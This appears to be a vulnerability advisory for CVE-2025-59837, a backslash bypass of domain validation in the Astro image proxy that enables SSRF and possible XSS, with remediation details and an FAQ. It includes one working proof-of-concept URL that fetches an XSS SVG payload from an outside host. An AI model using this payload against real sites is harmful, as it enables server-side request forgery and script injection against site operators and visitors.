CVE-2025-59837: astro allows bypass of image proxy domain validation leading to SSRF and potential XSS
Summary
This is a patch bypass of CVE-2025-58179 in commit 9ecf359. The fix blocks http://, https:// and //, but can be bypassed using backslashes (\) - the endpoint still issues a server-side fetch.
PoC https://astro.build/image?href=\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg
Other sources
Astro is a web framework that includes an image proxy. In versions 5.13.4 and later before 5.13.10, the image proxy domain validation can be bypassed by using backslashes in the href parameter, allowing server-side requests to arbitrary URLs. This can lead to server-side request forgery (SSRF) and potentially cross-site scripting (XSS). This vulnerability exists due to an incomplete fix for CVE-2025-58179. Fixed in 5.13.10.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2025-59837?
CVE-2025-59837 has a medium severity due to its potential for bypassing security measures.
How do I fix CVE-2025-59837?
To fix CVE-2025-59837, update the astro package to version 5.13.10 or later.
What functionality does CVE-2025-59837 affect?
CVE-2025-59837 affects the ability of the application to adequately block certain URLs for server-side fetching.
Which versions of astro are affected by CVE-2025-59837?
Versions of astro between 5.13.4 and 5.13.10 are affected by CVE-2025-59837.
Can CVE-2025-59837 be exploited easily?
Yes, CVE-2025-59837 can be exploited easily due to the ability to bypass protections using backslashes.